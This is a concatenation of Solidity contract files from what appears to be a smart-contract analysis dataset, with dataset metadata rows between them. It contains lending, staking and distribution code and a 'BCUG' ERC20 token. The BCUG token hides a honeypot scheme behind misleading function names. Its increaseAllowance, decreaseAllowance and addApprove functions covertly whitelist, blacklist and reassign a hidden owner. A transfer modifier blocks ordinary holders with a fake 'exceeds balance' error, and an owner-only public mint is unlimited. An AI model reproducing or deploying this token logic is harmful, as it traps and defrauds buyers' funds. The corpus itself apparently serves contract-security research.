emit UpdateIndex(_token, depositeRateIndex[_token][getBlockNumber()], borrowRateIndex[_token][getBlockNumber()]);
}
function depositeRateIndexNow(address _token) public view returns(uint) {
uint256 lcp = lastCheckpoint[_token];
if(lcp == 0)
return INT_UNIT;
uint256 lastDepositeRateIndex = depositeRateIndex[_token][lcp];
uint256 depositRatePerBlock = getDepositRatePerBlock(_token);
return lastDepositeRateIndex.mul(getBlockNumber().sub(lcp).mul(depositRatePerBlock).add(INT_UNIT)).div(INT_UNIT);
}
function borrowRateIndexNow(address _token) public view returns(uint) {
uint256 lcp = lastCheckpoint[_token];
if(lcp == 0)
return INT_UNIT;
uint256 lastBorrowRateIndex = borrowRateIndex[_token][lcp];
uint256 borrowRatePerBlock = getBorrowRatePerBlock(_token);
return lastBorrowRateIndex.mul(getBlockNumber().sub(lcp).mul(borrowRatePerBlock).add(INT_UNIT)).div(INT_UNIT);
}
function getTokenState(address _token) public view returns (uint256 deposits, uint256 loans, uint256 reserveBalance, uint256 remainingAssets){
return (getTotalDepositStore(_token),
totalLoans[_token],
totalReserve[_token],
totalReserve[_token].add(totalCompound[globalConfig.tokenInfoRegistry().getCToken(_token)]));
}
function getPoolAmount(address _token) public view returns(uint) {
return totalReserve[_token].add(totalCompound[globalConfig.tokenInfoRegistry().getCToken(_token)]);
}
function deposit(address _to, address _token, uint256 _amount) external onlyAuthorized {
require(_amount != 0, "Amount is zero");
newRateIndexCheckpoint(_token);
updateDepositFINIndex(_token);
globalConfig.accounts().deposit(_to, _token, _amount);
uint compoundAmount = update(_token, _amount, ActionType.DepositAction);
if(compoundAmount > 0) {
globalConfig.savingAccount().toCompound(_token, compoundAmount);
}
}
function borrow(address _from, address _token, uint256 _amount) external onlyAuthorized {
newRateIndexCheckpoint(_token);
updateBorrowFINIndex(_token);
globalConfig.accounts().borrow(_from, _token, _amount);
uint compoundAmount = update(_token, _amount, ActionType.BorrowAction);
if(compoundAmount > 0) {
globalConfig.savingAccount().fromCompound(_token, compoundAmount);
}
}
function repay(address _to, address _token, uint256 _amount) external onlyAuthorized returns(uint) {
newRateIndexCheckpoint(_token);
updateBorrowFINIndex(_token);
require(globalConfig.accounts().getBorrowPrincipal(_to, _token) > 0,
"Token BorrowPrincipal must be greater than 0. To deposit balance, please use deposit button.");
uint256 remain = globalConfig.accounts().repay(_to, _token, _amount);
uint compoundAmount = update(_token, _amount.sub(remain), ActionType.RepayAction);
if(compoundAmount > 0) {
globalConfig.savingAccount().toCompound(_token, compoundAmount);
}
return _amount.sub(remain);
}
function withdraw(address _from, address _token, uint256 _amount) external onlyAuthorized returns(uint) {
require(_amount != 0, "Amount is zero");
newRateIndexCheckpoint(_token);
updateDepositFINIndex(_token);
uint amount = globalConfig.accounts().withdraw(_from, _token, _amount);
uint compoundAmount = update(_token, amount, ActionType.WithdrawAction);
if(compoundAmount > 0) {
globalConfig.savingAccount().fromCompound(_token, compoundAmount);
}
return amount;
}
function getBlockNumber() private view returns (uint) {
return block.number;
}
function version() public pure returns(string memory) {
return "v1.2.0";
}
}
| 275,256 | 13,941 |
2331d44b0a9ab05234d7a493146273678fbd9ad1e7a98d2ab17686767d37ff4c
| 27,912 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/OlympusStaking-0x0822f3c03dcc24d200aff33493dc08d0e1f274a2.sol
| 4,361 | 16,838 |
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IOwnable {
function owner() external view returns (address);
function renounceOwnership() external;
function transferOwnership(address newOwner_) external;
}
contract Ownable is IOwnable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view override returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual override onlyOwner() {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner_) public virtual override onlyOwner() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner_);
_owner = newOwner_;
}
}
interface IStaking {
function initialize(address olyTokenAddress_,
address sOLY_,
address dai_) external;
//function stakeOLY(uint amountToStake_) external {
function stakeOLYWithPermit (uint256 amountToStake_,
uint256 deadline_,
uint8 v_,
bytes32 r_,
bytes32 s_) external;
//function unstakeOLY(uint amountToWithdraw_) external {
function unstakeOLYWithPermit (uint256 amountToWithdraw_,
uint256 deadline_,
uint8 v_,
bytes32 r_,
bytes32 s_) external;
function stakeOLY(uint amountToStake_) external returns (bool);
function unstakeOLY(uint amountToWithdraw_) external returns (bool);
function distributeOLYProfits() external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
// require(address(this).balance >= value, "Address: insufficient balance for call");
// return _functionCallWithValue(target, data, value, errorMessage);
// }
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface ITreasury {
function getBondingCalculator() external returns (address);
function payDebt(address depositor_) external returns (bool);
function getTimelockEndBlock() external returns (uint);
function getManagedToken() external returns (address);
function getDebtAmountDue() external returns (uint);
function incurDebt(address principleToken_, uint principieTokenAmountDeposited_) external returns (bool);
}
interface IOHMandsOHM {
function rebase(uint256 ohmProfit)
external
returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function permit(address owner,
address spender,
uint256 amount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
}
contract OlympusStaking is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
uint256 public epochLengthInBlocks;
address public ohm;
address public sOHM;
uint256 public ohmToDistributeNextEpoch;
uint256 nextEpochBlock;
bool isInitialized;
modifier notInitialized() {
require(!isInitialized);
_;
}
function initialize(address ohmTokenAddress_,
address sOHM_,
uint8 epochLengthInBlocks_) external onlyOwner() notInitialized() {
ohm = ohmTokenAddress_;
sOHM = sOHM_;
epochLengthInBlocks = epochLengthInBlocks_;
isInitialized = true;
}
function setEpochLengthintBlock(uint256 newEpochLengthInBlocks_) external onlyOwner() {
epochLengthInBlocks = newEpochLengthInBlocks_;
}
function _distributeOHMProfits() internal {
if(nextEpochBlock <= block.number) {
IOHMandsOHM(sOHM).rebase(ohmToDistributeNextEpoch);
uint256 _ohmBalance = IOHMandsOHM(ohm).balanceOf(address(this));
uint256 _sohmSupply = IOHMandsOHM(sOHM).circulatingSupply();
ohmToDistributeNextEpoch = _ohmBalance.sub(_sohmSupply);
nextEpochBlock = nextEpochBlock.add(epochLengthInBlocks);
}
}
function _stakeOHM(uint256 amountToStake_) internal {
_distributeOHMProfits();
IERC20(ohm).safeTransferFrom(msg.sender,
address(this),
amountToStake_);
IERC20(sOHM).safeTransfer(msg.sender, amountToStake_);
}
function stakeOHMWithPermit (uint256 amountToStake_,
uint256 deadline_,
uint8 v_,
bytes32 r_,
bytes32 s_) external {
IOHMandsOHM(ohm).permit(msg.sender,
address(this),
amountToStake_,
deadline_,
v_,
r_,
s_);
_stakeOHM(amountToStake_);
}
function stakeOHM(uint amountToStake_) external returns (bool) {
_stakeOHM(amountToStake_);
return true;
}
function _unstakeOHM(uint256 amountToUnstake_) internal {
_distributeOHMProfits();
IERC20(sOHM).safeTransferFrom(msg.sender,
address(this),
amountToUnstake_);
IERC20(ohm).safeTransfer(msg.sender, amountToUnstake_);
}
function unstakeOHMWithPermit (uint256 amountToWithdraw_,
uint256 deadline_,
uint8 v_,
bytes32 r_,
bytes32 s_) external {
IOHMandsOHM(sOHM).permit(msg.sender,
address(this),
amountToWithdraw_,
deadline_,
v_,
r_,
s_);
_unstakeOHM(amountToWithdraw_);
}
function unstakeOHM(uint amountToWithdraw_) external returns (bool) {
_unstakeOHM(amountToWithdraw_);
return true;
}
}
| 191,564 | 13,942 |
0976bccc3c208f1d611840c6de1e2e26ef84e271d2617f22b76d85fef8db8258
| 29,231 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/BCUG-0xc116f596fbd63378cd806c901618e61e8308cbd6.sol
| 3,396 | 12,609 |
pragma solidity ^0.6.6;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BCUG is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 196,869 | 13,943 |
40c1c4cc4143372deeb74dc8de6dc690a858e97f42cb974a138e98492c0182c8
| 17,536 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/10/10e804fe9cff60215958ae2725e8b243d7b241c7_Distributor.sol
| 3,883 | 15,346 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
